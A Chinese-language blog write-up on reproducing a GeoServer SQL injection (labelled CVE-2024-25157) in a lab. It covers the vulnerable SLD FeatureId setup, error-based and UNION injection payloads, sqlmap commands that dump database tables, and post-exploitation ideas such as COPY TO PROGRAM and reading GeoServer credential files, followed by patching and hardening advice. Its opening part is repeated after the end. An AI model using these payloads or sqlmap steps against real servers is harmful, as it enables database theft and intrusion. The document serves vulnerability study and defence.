1. 项目概述一次针对GeoServer的SQL注入漏洞深度剖析最近在安全研究圈里GeoServer的一个SQL注入漏洞CVE-2024-25157引起了不小的讨论。作为一个开源的、功能强大的地图服务器GeoServer被广泛应用于WebGIS项目中负责发布和编辑地理空间数据。也正因如此它一旦出现安全问题影响面会非常广。这个漏洞的特别之处在于它并非出现在常见的用户登录或数据查询接口而是与一个看似“高级”的功能——动态样式Style Layer Descriptor, SLD的参数化处理有关。很多开发者在配置地图样式时为了图方便或者实现动态效果会直接使用外部传入的参数这就给攻击者留下了可乘之机。我花了一些时间搭建环境、分析原理并复现了这个漏洞整个过程下来感觉这既是一个典型的功能点误用导致的注入案例也暴露了在GIS这类专业应用中开发人员对通用Web安全风险如SQL注入的防范意识可能存在的盲区。这篇文章我就来详细拆解一下CVE-2024-25157从漏洞原理、环境搭建、漏洞复现到深度利用最后聊聊修复和防护的思路希望能给负责GIS系统安全或对Web安全感兴趣的朋友一些参考。2. 漏洞原理与背景深度解析2.1 GeoServer与SLD动态样式简介要理解这个漏洞首先得知道GeoServer是干什么的以及SLD动态样式是什么。你可以把GeoServer想象成一个“地图数据服务员”。它手里管理着各种各样的地理数据比如Shapefile、PostGIS数据库里的表当客户端比如一个网页地图说“嘿给我看看北京市的河流图层线条要蓝色宽度为2”GeoServer就会从数据库里找到对应的河流数据按照要求渲染成图片通常是PNG或JPEG然后返回给客户端。而SLDStyled Layer Descriptor就是一个用来告诉GeoServer“如何渲染”的说明书它是一个基于XML的标准。所谓“动态样式”就是这个说明书不是一成不变的它里面的一些值比如颜色、宽度、显示哪些要素可以来自外部参数。例如我们可以设计一个SLD让线条的颜色由一个叫color的请求参数来决定。这样前端页面就可以通过传递colorred或colorblue来动态改变地图的显示效果。这个功能本身非常强大和灵活是实现交互式地图的利器。2.2 CVE-2024-25157漏洞核心成因漏洞就出在这个“参数化”的过程中。GeoServer在解析SLD文件时如果遇到了需要替换的参数通常格式为${参数名}它会执行一个“替换”操作。问题在于这个替换操作发生的位置和上下文。根据公开的分析漏洞点位于处理FeatureId过滤器的环节。在SLD中我们可以使用ogc:FeatureId过滤器来指定只渲染某些具有特定ID的地理要素。攻击者可以构造一个恶意的请求在传递给FeatureId过滤器的参数中嵌入SQL代码。关键逻辑链如下攻击者向GeoServer发送一个WMSWeb Map Service或WFSWeb Feature Service请求请求中包含了精心构造的SLD_BODY参数或引用了一个外部恶意的SLD文件。该请求指定使用一个利用了ogc:FeatureId过滤器的SLD样式。SLD样式中的FeatureId过滤器引用了请求参数例如ogc:FeatureId fid‘${恶意参数}’/。GeoServer在处理这个请求替换${恶意参数}时没有对参数值进行充分的过滤和转义。被替换的参数值被直接拼接到了后续生成的数据库查询语句中特别是当数据源是PostGIS这类数据库时。这就导致了经典的SQL注入攻击者的输入被当作SQL代码的一部分执行。为什么是SQL注入因为GeoServer底层在从PostGIS等空间数据库中查询满足FeatureId条件的数据时会生成SQL的WHERE子句。fid(Feature ID) 通常会直接映射到数据库表的唯一主键字段。不安全的字符串拼接使得${}中的内容直接落入了WHERE id ‘注入点’这样的语句里。注意这里需要纠正一个常见的误解。这个漏洞的利用通常需要配合一个已上传或已知的、存在缺陷的SLD样式文件。攻击者不能凭空注入他需要找到一个允许参数注入的SLD或者有权限上传这样一个SLD。这提高了利用门槛但也意味着一个配置不当的、允许用户自定义样式的GeoServer实例风险极高。2.3 影响范围与严重性评估受影响版本根据漏洞公告此漏洞影响了GeoServer 2.24.x、2.23.x、2.22.x等多个版本。建议所有使用这些版本的用户立即检查并升级。严重性该漏洞被评定为中高危。它可能导致数据库信息泄露攻击者可以读取GeoServer连接的数据库中的任意数据不仅限于空间数据表可能包括用户表、系统表等。数据库篡改在特定条件下可能实现数据篡改或删除INSERT/UPDATE/DELETE。进一步渗透如果数据库权限配置不当攻击者可能利用数据库功能执行系统命令或进行内网探测。利用前提如前所述需要存在一个“不安全”的SLD样式该样式在ogc:FeatureId过滤器处使用了参数化输入。这在自定义开发或从网络下载的样式中可能出现。3. 漏洞复现环境搭建与准备纸上得来终觉浅绝知此事要躬行。要真正理解一个漏洞亲手复现一遍是最好的方式。下面我详细记录一下我的复现环境搭建过程。3.1 实验环境规划为了安全且贴近真实环境我选择在虚拟机内搭建一个完整的靶场。主机环境VMware Workstation 17 Pro。靶机系统Ubuntu 22.04 LTS Server (最小化安装)。核心组件JavaGeoServer基于Java需要安装JDK 11或17推荐JDK 11兼容性更佳。GeoServer选择受漏洞影响的版本这里我选用GeoServer 2.24.1社区版。数据库使用PostgreSQL 15搭配PostGIS 3.4扩展作为空间数据源。这是最常用的组合也是漏洞利用的典型场景。Web服务器GeoServer自带Jetty足够用于测试。攻击机我直接使用宿主机Kali Linux作为攻击机上面配备了Burp Suite、sqlmap等工具。3.2 靶机环境部署步骤1. 系统更新与基础依赖安装sudo apt update sudo apt upgrade -y sudo apt install -y wget curl gnupg software-properties-common2. 安装Java (JDK 11)sudo apt install -y openjdk-11-jdk java -version # 验证安装应显示 openjdk 11.x.x3. 安装PostgreSQL与PostGIS# 添加PostgreSQL官方仓库 sudo sh -c echo deb https://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main /etc/apt/sources.list.d/pgdg.list wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - sudo apt update # 安装PostgreSQL 15和PostGIS sudo apt install -y postgresql-15 postgresql-15-postgis-3.4 # 启动并设置开机自启 sudo systemctl start postgresql sudo systemctl enable postgresql # 切换到postgres用户为GeoServer创建数据库和用户 sudo -u postgres psql在PostgreSQL命令行中执行CREATE DATABASE geodata; \c geodata; CREATE EXTENSION postgis; -- 启用PostGIS扩展 CREATE USER geoserver WITH PASSWORD YourStrongPassword123!; GRANT ALL PRIVILEGES ON DATABASE geodata TO geoserver; \q4. 下载并安装GeoServer 2.24.1# 进入合适目录如/opt cd /opt sudo wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.24.1/geoserver-2.24.1-bin.zip sudo unzip geoserver-2.24.1-bin.zip sudo mv geoserver-2.24.1 /opt/geoserver5. 启动GeoServer进行初步配置cd /opt/geoserver/bin # 首次启动会初始化数据目录 sudo ./startup.sh 等待几分钟然后在攻击机浏览器访问http://靶机IP:8080/geoserver。默认管理员账号是admin密码是geoserver。登录后首先务必修改默认密码。6. 在GeoServer中配置PostGIS数据存储登录GeoServer Web管理界面。左侧导航栏点击“数据”-“工作区”-“添加新的工作区”创建一个新工作区如test_ws。点击“数据”-“存储”-“添加新的存储”-“PostGIS”。填写连接信息基本配置工作区选择刚创建的test_ws数据源名称填test_postgis。连接参数主机填localhost端口5432数据库geodata模式public用户geoserver密码YourStrongPassword123!。点击“保存”。7. 发布一个测试图层我们需要一些数据来演示。可以从GeoServer自带的示例数据中加载或者自己创建一个简单的表。 在PostgreSQL中创建测试表并插入数据sudo -u postgres psql -d geodataCREATE TABLE test_points ( id SERIAL PRIMARY KEY, name VARCHAR(100), geom GEOMETRY(Point, 4326) ); INSERT INTO test_points (name, geom) VALUES (Point A, ST_SetSRID(ST_MakePoint(116.4, 39.9), 4326)), (Point B, ST_SetSRID(ST_MakePoint(121.5, 31.2), 4326)); \q回到GeoServer界面在对应存储下“发布”这个test_points图层配置好坐标参考系EPSG:4326和边界框。3.3 准备存在漏洞的SLD样式这是复现的关键。我们需要创建一个允许参数注入的SLD文件。在GeoServer管理界面进入“数据”-“样式”-“添加新的样式”。给样式起个名比如vulnerable_style。在SLD编辑器里粘贴以下内容。这是一个极简的点图层样式其核心问题在于ogc:FeatureId的fid属性直接引用了请求参数id。?xml version1.0 encodingUTF-8? StyledLayerDescriptor version1.0.0 xmlnshttp://www.opengis.net/sld xmlns:ogchttp://www.opengis.net/ogc xmlns:xlinkhttp://www.w3.org/1999/xlink xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.opengis.net/sld http://schemas.opengis.net/sld/1.0.0/StyledLayerDescriptor.xsd NamedLayer Nametest_points/Name UserStyle TitleVulnerable Style/Title FeatureTypeStyle Rule Namerule1/Name TitleDynamic Feature Selection/Title !-- 漏洞点fid属性直接使用${id}参数未做过滤 -- ogc:Filter ogc:FeatureId fid${id}/ /ogc:Filter PointSymbolizer Graphic Mark WellKnownNamecircle/WellKnownName Fill CssParameter namefill#FF0000/CssParameter /Fill /Mark Size10/Size /Graphic /PointSymbolizer /Rule /FeatureTypeStyle /UserStyle /NamedLayer /StyledLayerDescriptor保存这个样式。将这个样式关联到我们之前发布的test_points图层。编辑test_points图层在“发布”标签页的“默认样式”或“关联样式”中选择vulnerable_style。至此一个存在SQL注入漏洞的GeoServer测试环境就搭建完成了。这个环境模拟了一个常见的场景开发者为了根据前端点击动态高亮某个要素使用了参数化的FeatureId但却没有对输入做任何校验。4. 漏洞手工复现与验证过程环境准备好后我们就可以开始尝试攻击了。我们先从简单的手工探测开始理解漏洞触发的流量特征。4.1 初步探测与漏洞点识别漏洞通过GeoServer的WMSGetMap或WFSGetFeature请求触发。我们使用WMS请求来演示因为它更常见。一个正常的、请求特定要素的WMS请求可能长这样通过浏览器或curlhttp://靶机IP:8080/geoserver/test_ws/wms? serviceWMS version1.1.0 requestGetMap layerstest_ws:test_points stylesvulnerable_style bbox116,39,122,32 width800 height600 srsEPSG:4326 formatimage/png idtest_points.1这个请求会应用vulnerable_style样式并试图渲染fid为test_points.1的要素即我们插入的第一个点。idtest_points.1这个参数会被替换到SLD的${id}位置。手工注入探测我们尝试注入一个简单的单引号‘看看是否会引发SQL语法错误。错误信息是判断注入存在的重要依据。 将请求中的id参数修改为idtest_points.1’...idtest_points.1...发送这个请求。如果GeoServer返回了包含SQL错误信息的异常页面如org.postgresql.util.PSQLException: ERROR: ...而不是一个空白地图或正常地图那么基本可以确认存在SQL注入漏洞。错误信息可能提示未终止的字符串字面量这证实了我们的输入被直接拼接进了SQL语句。4.2 利用错误回显进行信息提取PostgreSQL数据库在错误时有时会将部分查询信息回显到错误信息中。我们可以利用这一点来提取数据。这是一种“基于错误”的SQL注入。示例提取当前数据库用户构造如下id参数值idtest_points.1 AND 1CAST((SELECT current_user) AS INT) --解释一下这个Payloadtest_points.1’闭合原有的字符串。AND 1CAST((SELECT current_user) AS INT)这是一个会引发错误的语句。SELECT current_user返回一个字符串如geoserver而CAST(... AS INT)试图将字符串转换为整数这必然失败。PostgreSQL在报告这个类型转换错误时有时会将无法转换的字符串值即current_user的结果包含在错误信息中。--注释掉SQL语句后续的部分避免语法错误。发送请求后观察返回的错误信息。如果运气好你可能会看到类似这样的错误ERROR: invalid input syntax for type integer: geoserver这样我们就从错误信息中直接获取到了数据库当前用户是geoserver。示例提取数据库版本idtest_points.1 AND 1CAST((SELECT version()) AS INT) --同样通过触发类型转换错误可能将SELECT version()的结果如 “PostgreSQL 15.3 on x86_64-pc-linux-gnu…”暴露在错误信息里。实操心得基于错误的注入成功率高度依赖于数据库配置和GeoServer的错误处理机制。新版本或生产环境可能配置了不显示详细错误此时这种方法会失效。但它在内部测试或老旧系统上非常有效。手工构造Payload时要注意URL编码单引号和空格在URL中需要分别编码为%27和%20或。使用curl或 Burp Suite 可以更方便地处理编码。4.3 使用Union查询进行数据提取当错误回显不可用但注入点确实存在且能判断列数时可以使用Union查询来直接获取数据。这需要更多的前期探测。1. 判断查询列数通过ORDER BY子句来猜测。ORDER BY 1表示按第一列排序如果列数存在则查询正常如果ORDER BY 10报错说明列数小于10。idtest_points.1 ORDER BY 5 --逐渐增加数字直到页面返回错误或地图渲染异常假设在ORDER BY 3时正常ORDER BY 4时异常那么原查询的列数就是3。2. 确定各列的数据类型Union查询要求对应列的数据类型兼容。我们需要找到可以显示字符串的列。通常可以假设其中有一列是几何信息geometry一列是ID整数可能还有其他属性列字符串。我们可以用NULL占位然后逐个替换为字符串来测试。 假设判断出列数为3。idtest_points.1 UNION SELECT NULL, NULL, NULL --如果这个请求能正常返回地图可能空白因为没匹配到数据说明语法正确。然后我们将NULL逐个替换为‘a’一个字符串来测试。idtest_points.1 UNION SELECT a, NULL, NULL -- idtest_points.1 UNION SELECT NULL, a, NULL -- idtest_points.1 UNION SELECT NULL, NULL, a --如果某个请求正常返回说明那一列可以接受字符串类型。3. 执行Union查询获取数据假设第2列和第3列可以接受字符串。我们就可以用它们来获取我们想要的信息。idtest_points.1 UNION SELECT 1, current_user, version() --这个请求会尝试将当前用户和数据库版本信息作为地图查询结果的一部分返回。但是这里有一个巨大的挑战WMS GetMap请求的响应是一张图片我们无法直接从图片中读取文本数据。Union查询的结果current_user,version()被GeoServer内部处理了但不会体现在输出的PNG图片上。那么Union注入在这里还有用吗有用但目标需要转向WFS GetFeature请求。WFS服务返回的是地理要素的原始数据通常是XMLGML或JSON格式数据内容会直接包含在响应体中。一个利用WFS的Union注入Payload示例http://靶机IP:8080/geoserver/test_ws/ows? serviceWFS version1.0.0 requestGetFeature typeNametest_ws:test_points maxFeatures1 outputFormatapplication/json CQL_FILTERIN(id)idtest_points.1 UNION SELECT 1,current_user,version(),NULL --注意实际Payload需要根据具体的表结构、列数和WFS参数进行调整CQL_FILTER是另一种过滤方式这里仅为示意。通过WFS请求Union查询的结果可能会直接出现在返回的JSON或XML里从而实现数据窃取。5. 自动化工具利用与深度利用演示手工注入虽然能帮助理解原理但效率低且对于复杂的数据提取显得力不从心。在实际的安全测试中我们通常会借助自动化工具比如sqlmap。5.1 使用sqlmap进行自动化注入测试sqlmap是开源的SQL注入自动化检测和利用工具功能强大。要让它对GeoServer生效我们需要给它提供正确的“注入点”和“参数”。关键点sqlmap需要知道哪个参数是可注入的以及如何触发注入。我们需要将上面手工测试的WMS请求保存到一个文本文件中例如geoserver_req.txt供sqlmap使用。捕获请求使用Burp Suite拦截一个正常的WMS GetMap请求使用存在漏洞的样式将其保存为文件。请求内容大致如下GET /geoserver/test_ws/wms?serviceWMSversion1.1.0requestGetMaplayerstest_ws:test_pointsstylesvulnerable_stylebbox116,39,122,32width800height600srsEPSG:4326formatimage/pngidtest_points.1 HTTP/1.1 Host: 靶机IP:8080 User-Agent: Mozilla/5.0... Accept: image/webp,*/* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close使用sqlmap扫描sqlmap -r geoserver_req.txt -p id --batch --risk3 --level5-r geoserver_req.txt: 从文件加载HTTP请求。-p id: 指定测试id这个参数。--batch: 非交互模式所有问题选择默认。--risk3 --level5: 提高测试的强度和深度因为这种注入点可能比较隐蔽。分析结果如果漏洞存在sqlmap会报告注入类型如基于布尔的盲注、基于时间的盲注、基于错误的注入等并确认数据库类型为PostgreSQL。提取数据确认注入后就可以让sqlmap自动提取数据了。# 获取当前数据库名 sqlmap -r geoserver_req.txt -p id --current-db --batch # 获取所有数据库名 sqlmap -r geoserver_req.txt -p id --dbs --batch # 获取当前数据库的所有表 sqlmap -r geoserver_req.txt -p id -D geodata --tables --batch # 获取指定表如public.test_points的列名 sqlmap -r geoserver_req.txt -p id -D geodata -T test_points --columns --batch # 导出指定表的所有数据 sqlmap -r geoserver_req.txt -p id -D geodata -T test_points --dump --batch注意事项使用sqlmap测试WMS接口时由于响应是图片sqlmap可能更倾向于使用盲注Boolean-based或Time-based技术这比基于错误的注入更通用但速度较慢。你需要有足够的耐心。另外频繁的自动化测试请求可能会对GeoServer服务造成压力请在授权的测试环境中进行。5.2 漏洞的深度利用场景思考成功注入并获取数据库访问权限后攻击者的行动取决于数据库的权限和网络环境。数据窃取这是最直接的风险。攻击者可以导出geodata数据库中的所有空间数据如敏感的基础设施位置、行政区划详图以及可能存在于同一数据库或其他可访问数据库中的业务数据、用户凭证如果存储不当等。权限提升如果GeoServer连接数据库的用户如我们设置的geoserver拥有高权限如超级用户postgres或具有COPY TO PROGRAM权限攻击者可能尝试在数据库服务器上执行系统命令。例如利用PostgreSQL的lo_import结合COPY或pg_read_file等函数读取服务器文件甚至通过创建扩展如pg_exec需提前安装来执行命令。内网横向移动如果数据库服务器位于内网攻击者可能利用数据库作为跳板通过数据库函数进行内网端口扫描如使用dblink扩展或尝试连接其他内网数据库服务。文件系统读写利用PostgreSQL的文件读写函数如pg_read_file,pg_ls_dir以及超级用户的COPY FROM/to PROGRAM攻击者可能读取GeoServer服务器上的配置文件如web.xml,geoserver-data/security/usergroup/default/users.xml其中可能包含加密或明文的密码哈希为进一步渗透提供条件。这些深度利用手法的成功与否严格依赖于数据库用户的权限和数据库的安全配置但CVE-2024-25157这个漏洞为攻击者打开了一扇通往数据库的大门。6. 漏洞修复方案与安全加固建议复现漏洞是为了更好地防御它。对于受到CVE-2024-25157影响的系统必须立即采取行动。6.1 官方补丁与版本升级这是最根本、最推荐的解决方案。升级GeoServer访问GeoServer官网下载最新的稳定版2.24.x系列应升级到已修复该漏洞的版本如2.24.2及以上2.23.x和2.22.x系列也有对应的安全更新。官方发布说明中会明确列出修复了CVE-2024-25157。升级步骤备份当前的GEOSERVER_DATA_DIR目录通常位于/opt/geoserver/data_dir或安装目录下的data_dir。停止正在运行的GeoServer服务。解压新版本GeoServer到新目录。将备份的GEOSERVER_DATA_DIR目录覆盖到新版本的对应位置。检查并更新webapps/geoserver/WEB-INF/lib下的任何自定义jar包如果有。启动新版本的GeoServer并进行全面功能测试。6.2 临时缓解措施如果因故无法立即升级可以考虑以下临时方案但请注意这些措施可能影响功能且不能保证完全堵住所有利用途径。审查并禁用不安全的SLD样式立即检查所有SLD样式文件特别是用户自定义或从外部导入的样式。重点查找在ogc:FeatureId、ogc:PropertyIsEqualTo等过滤器Filter中直接使用${param}的表达式。将这些样式禁用或删除。启用SLD参数化输入验证GeoServer的样式编辑器本身有参数验证选项但依赖于开发者正确配置。可以强制要求对所有SLD参数进行正则表达式验证例如fid参数只允许匹配^[a-zA-Z0-9_.]$这种模式严格限制输入字符集。使用CQL过滤器替代SLD参数化对于动态要素筛选考虑使用CQLCommon Query Language过滤器并通过GeoServer的“样式参数化”功能进行安全的参数传递。确保在服务层如WMS请求的CQL_FILTER参数对输入进行验证而不是在SLD内部拼接。最小化数据库用户权限确保GeoServer连接数据库的用户如geoserver仅具有所需的最小权限。通常只授予对特定业务表的SELECT权限绝对不能授予SUPERUSER、CREATE,DROP,EXECUTE等高级权限。将其与业务数据库分离使用不同的用户和数据库。部署Web应用防火墙WAF在GeoServer前端部署WAF配置规则以拦截包含常见SQL注入特征如单引号、UNION、SELECT、SLEEP()等的请求。但这只是一种纵深防御措施可能被绕过。6.3 长期安全开发规范从根源上避免此类问题需要在开发流程中融入安全实践。输入验证与净化对所有用户输入进行“白名单”验证。对于像fid这样的参数应严格验证其格式是否符合预期如表名.数字。在代码层面使用预编译语句Prepared Statements或参数化查询来访问数据库这是防止SQL注入的黄金法则。虽然GeoServer核心代码需要修复但自定义插件或集成代码中必须遵循。安全代码审查将SLD文件、CQL过滤器等配置文件的审查纳入代码审查流程。特别关注动态内容拼接。最小权限原则不仅在数据库在操作系统、文件系统等所有层面为GeoServer进程分配最小必要权限。定期安全更新与漏洞扫描订阅GeoServer的安全公告定期更新版本。使用软件成分分析SCA工具和动态应用安全测试DAST工具对部署的GeoServer实例进行定期扫描。7. 从CVE-2024-25157看GIS应用安全这次漏洞复现不仅仅是一次技术练习它更深刻地揭示了GIS地理信息系统这类专业应用在安全上面临的独特挑战。专业性带来的盲区GIS开发者和运维人员往往是地理信息、测绘领域的专家他们对空间算法、坐标转换、地图渲染了如指掌但对通用的Web安全漏洞如SQL注入、XSS、CSRF可能缺乏足够的敏感度和知识储备。他们可能会认为“我的地图服务器不直接处理用户登录很安全”却忽略了像SLD参数化这样看似专业的功能点也可能成为通用漏洞的入口。配置的复杂性GeoServer功能极其强大配置项繁多。动态样式、CQL过滤器、SQL视图、WPS流程等高级功能在提供灵活性的同时也极大地增加了攻击面。一个不经意的配置如允许用户上传SLD、启用不安全的SQL视图就可能引入严重风险。数据的高价值性GIS系统承载的数据往往具有很高的价值甚至是敏感数据如国土规划、基础设施、军事部署。这使得它们成为攻击者更有吸引力的目标。一次成功的SQL注入泄露的可能不仅仅是用户信息而是具有战略价值的地理空间数据。因此对于所有涉及GIS应用开发和运维的团队我的建议是将安全视为一项基础能力而非附加功能。在项目初期就引入安全设计和评审对开发人员进行基础的安全培训建立针对GIS配置的安全检查清单并像对待核心业务系统一样对地图服务进行定期的安全评估和渗透测试。CVE-2024-25157是一个警钟提醒我们在享受开源GIS软件带来的强大功能和便利时也必须承担起守护其安全的责任。
GeoServer SQL注入漏洞CVE-2024-25157深度剖析与复现
发布时间：2026/6/29 0:51:18
1. 项目概述一次针对GeoServer的SQL注入漏洞深度剖析最近在安全研究圈里GeoServer的一个SQL注入漏洞CVE-2024-25157引起了不小的讨论。作为一个开源的、功能强大的地图服务器GeoServer被广泛应用于WebGIS项目中负责发布和编辑地理空间数据。也正因如此它一旦出现安全问题影响面会非常广。这个漏洞的特别之处在于它并非出现在常见的用户登录或数据查询接口而是与一个看似“高级”的功能——动态样式Style Layer Descriptor, SLD的参数化处理有关。很多开发者在配置地图样式时为了图方便或者实现动态效果会直接使用外部传入的参数这就给攻击者留下了可乘之机。我花了一些时间搭建环境、分析原理并复现了这个漏洞整个过程下来感觉这既是一个典型的功能点误用导致的注入案例也暴露了在GIS这类专业应用中开发人员对通用Web安全风险如SQL注入的防范意识可能存在的盲区。这篇文章我就来详细拆解一下CVE-2024-25157从漏洞原理、环境搭建、漏洞复现到深度利用最后聊聊修复和防护的思路希望能给负责GIS系统安全或对Web安全感兴趣的朋友一些参考。2. 漏洞原理与背景深度解析2.1 GeoServer与SLD动态样式简介要理解这个漏洞首先得知道GeoServer是干什么的以及SLD动态样式是什么。你可以把GeoServer想象成一个“地图数据服务员”。它手里管理着各种各样的地理数据比如Shapefile、PostGIS数据库里的表当客户端比如一个网页地图说“嘿给我看看北京市的河流图层线条要蓝色宽度为2”GeoServer就会从数据库里找到对应的河流数据按照要求渲染成图片通常是PNG或JPEG然后返回给客户端。而SLDStyled Layer Descriptor就是一个用来告诉GeoServer“如何渲染”的说明书它是一个基于XML的标准。所谓“动态样式”就是这个说明书不是一成不变的它里面的一些值比如颜色、宽度、显示哪些要素可以来自外部参数。例如我们可以设计一个SLD让线条的颜色由一个叫color的请求参数来决定。这样前端页面就可以通过传递colorred或colorblue来动态改变地图的显示效果。这个功能本身非常强大和灵活是实现交互式地图的利器。2.2 CVE-2024-25157漏洞核心成因漏洞就出在这个“参数化”的过程中。GeoServer在解析SLD文件时如果遇到了需要替换的参数通常格式为${参数名}它会执行一个“替换”操作。问题在于这个替换操作发生的位置和上下文。根据公开的分析漏洞点位于处理FeatureId过滤器的环节。在SLD中我们可以使用ogc:FeatureId过滤器来指定只渲染某些具有特定ID的地理要素。攻击者可以构造一个恶意的请求在传递给FeatureId过滤器的参数中嵌入SQL代码。关键逻辑链如下攻击者向GeoServer发送一个WMSWeb Map Service或WFSWeb Feature Service请求请求中包含了精心构造的SLD_BODY参数或引用了一个外部恶意的SLD文件。该请求指定使用一个利用了ogc:FeatureId过滤器的SLD样式。SLD样式中的FeatureId过滤器引用了请求参数例如ogc:FeatureId fid‘${恶意参数}’/。GeoServer在处理这个请求替换${恶意参数}时没有对参数值进行充分的过滤和转义。被替换的参数值被直接拼接到了后续生成的数据库查询语句中特别是当数据源是PostGIS这类数据库时。这就导致了经典的SQL注入攻击者的输入被当作SQL代码的一部分执行。为什么是SQL注入因为GeoServer底层在从PostGIS等空间数据库中查询满足FeatureId条件的数据时会生成SQL的WHERE子句。fid(Feature ID) 通常会直接映射到数据库表的唯一主键字段。不安全的字符串拼接使得${}中的内容直接落入了WHERE id ‘注入点’这样的语句里。注意这里需要纠正一个常见的误解。这个漏洞的利用通常需要配合一个已上传或已知的、存在缺陷的SLD样式文件。攻击者不能凭空注入他需要找到一个允许参数注入的SLD或者有权限上传这样一个SLD。这提高了利用门槛但也意味着一个配置不当的、允许用户自定义样式的GeoServer实例风险极高。2.3 影响范围与严重性评估受影响版本根据漏洞公告此漏洞影响了GeoServer 2.24.x、2.23.x、2.22.x等多个版本。建议所有使用这些版本的用户立即检查并升级。严重性该漏洞被评定为中高危。它可能导致数据库信息泄露攻击者可以读取GeoServer连接的数据库中的任意数据不仅限于空间数据表可能包括用户表、系统表等。数据库篡改在特定条件下可能实现数据篡改或删除INSERT/UPDATE/DELETE。进一步渗透如果数据库权限配置不当攻击者可能利用数据库功能执行系统命令或进行内网探测。利用前提如前所述需要存在一个“不安全”的SLD样式该样式在ogc:FeatureId过滤器处使用了参数化输入。这在自定义开发或从网络下载的样式中可能出现。3. 漏洞复现环境搭建与准备纸上得来终觉浅绝知此事要躬行。要真正理解一个漏洞亲手复现一遍是最好的方式。下面我详细记录一下我的复现环境搭建过程。3.1 实验环境规划为了安全且贴近真实环境我选择在虚拟机内搭建一个完整的靶场。主机环境VMware Workstation 17 Pro。靶机系统Ubuntu 22.04 LTS Server (最小化安装)。核心组件JavaGeoServer基于Java需要安装JDK 11或17推荐JDK 11兼容性更佳。GeoServer选择受漏洞影响的版本这里我选用GeoServer 2.24.1社区版。数据库使用PostgreSQL 15搭配PostGIS 3.4扩展作为空间数据源。这是最常用的组合也是漏洞利用的典型场景。Web服务器GeoServer自带Jetty足够用于测试。攻击机我直接使用宿主机Kali Linux作为攻击机上面配备了Burp Suite、sqlmap等工具。3.2 靶机环境部署步骤1. 系统更新与基础依赖安装sudo apt update sudo apt upgrade -y sudo apt install -y wget curl gnupg software-properties-common2. 安装Java (JDK 11)sudo apt install -y openjdk-11-jdk java -version # 验证安装应显示 openjdk 11.x.x3. 安装PostgreSQL与PostGIS# 添加PostgreSQL官方仓库 sudo sh -c echo deb https://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main /etc/apt/sources.list.d/pgdg.list wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - sudo apt update # 安装PostgreSQL 15和PostGIS sudo apt install -y postgresql-15 postgresql-15-postgis-3.4 # 启动并设置开机自启 sudo systemctl start postgresql sudo systemctl enable postgresql # 切换到postgres用户为GeoServer创建数据库和用户 sudo -u postgres psql在PostgreSQL命令行中执行CREATE DATABASE geodata; \c geodata; CREATE EXTENSION postgis; -- 启用PostGIS扩展 CREATE USER geoserver WITH PASSWORD YourStrongPassword123!; GRANT ALL PRIVILEGES ON DATABASE geodata TO geoserver; \q4. 下载并安装GeoServer 2.24.1# 进入合适目录如/opt cd /opt sudo wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.24.1/geoserver-2.24.1-bin.zip sudo unzip geoserver-2.24.1-bin.zip sudo mv geoserver-2.24.1 /opt/geoserver5. 启动GeoServer进行初步配置cd /opt/geoserver/bin # 首次启动会初始化数据目录 sudo ./startup.sh 等待几分钟然后在攻击机浏览器访问http://靶机IP:8080/geoserver。默认管理员账号是admin密码是geoserver。登录后首先务必修改默认密码。6. 在GeoServer中配置PostGIS数据存储登录GeoServer Web管理界面。左侧导航栏点击“数据”-“工作区”-“添加新的工作区”创建一个新工作区如test_ws。点击“数据”-“存储”-“添加新的存储”-“PostGIS”。填写连接信息基本配置工作区选择刚创建的test_ws数据源名称填test_postgis。连接参数主机填localhost端口5432数据库geodata模式public用户geoserver密码YourStrongPassword123!。点击“保存”。7. 发布一个测试图层我们需要一些数据来演示。可以从GeoServer自带的示例数据中加载或者自己创建一个简单的表。 在PostgreSQL中创建测试表并插入数据sudo -u postgres psql -d geodataCREATE TABLE test_points ( id SERIAL PRIMARY KEY, name VARCHAR(100), geom GEOMETRY(Point, 4326) ); INSERT INTO test_points (name, geom) VALUES (Point A, ST_SetSRID(ST_MakePoint(116.4, 39.9), 4326)), (Point B, ST_SetSRID(ST_MakePoint(121.5, 31.2), 4326)); \q回到GeoServer界面在对应存储下“发布”这个test_points图层配置好坐标参考系EPSG:4326和边界框。3.3 准备存在漏洞的SLD样式这是复现的关键。我们需要创建一个允许参数注入的SLD文件。在GeoServer管理界面进入“数据”-“样式”-“添加新的样式”。给样式起个名比如vulnerable_style。在SLD编辑器里粘贴以下内容。这是一个极简的点图层样式其核心问题在于ogc:FeatureId的fid属性直接引用了请求参数id。?xml version1.0 encodingUTF-8? StyledLayerDescriptor version1.0.0 xmlnshttp://www.opengis.net/sld xmlns:ogchttp://www.opengis.net/ogc xmlns:xlinkhttp://www.w3.org/1999/xlink xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.opengis.net/sld http://schemas.opengis.net/sld/1.0.0/StyledLayerDescriptor.xsd NamedLayer Nametest_points/Name UserStyle TitleVulnerable Style/Title FeatureTypeStyle Rule Namerule1/Name TitleDynamic Feature Selection/Title !-- 漏洞点fid属性直接使用${id}参数未做过滤 -- ogc:Filter ogc:FeatureId fid${id}/ /ogc:Filter PointSymbolizer Graphic Mark WellKnownNamecircle/WellKnownName Fill CssParameter namefill#FF0000/CssParameter /Fill /Mark Size10/Size /Graphic /PointSymbolizer /Rule /FeatureTypeStyle /UserStyle /NamedLayer /StyledLayerDescriptor保存这个样式。将这个样式关联到我们之前发布的test_points图层。编辑test_points图层在“发布”标签页的“默认样式”或“关联样式”中选择vulnerable_style。至此一个存在SQL注入漏洞的GeoServer测试环境就搭建完成了。这个环境模拟了一个常见的场景开发者为了根据前端点击动态高亮某个要素使用了参数化的FeatureId但却没有对输入做任何校验。4. 漏洞手工复现与验证过程环境准备好后我们就可以开始尝试攻击了。我们先从简单的手工探测开始理解漏洞触发的流量特征。4.1 初步探测与漏洞点识别漏洞通过GeoServer的WMSGetMap或WFSGetFeature请求触发。我们使用WMS请求来演示因为它更常见。一个正常的、请求特定要素的WMS请求可能长这样通过浏览器或curlhttp://靶机IP:8080/geoserver/test_ws/wms? serviceWMS version1.1.0 requestGetMap 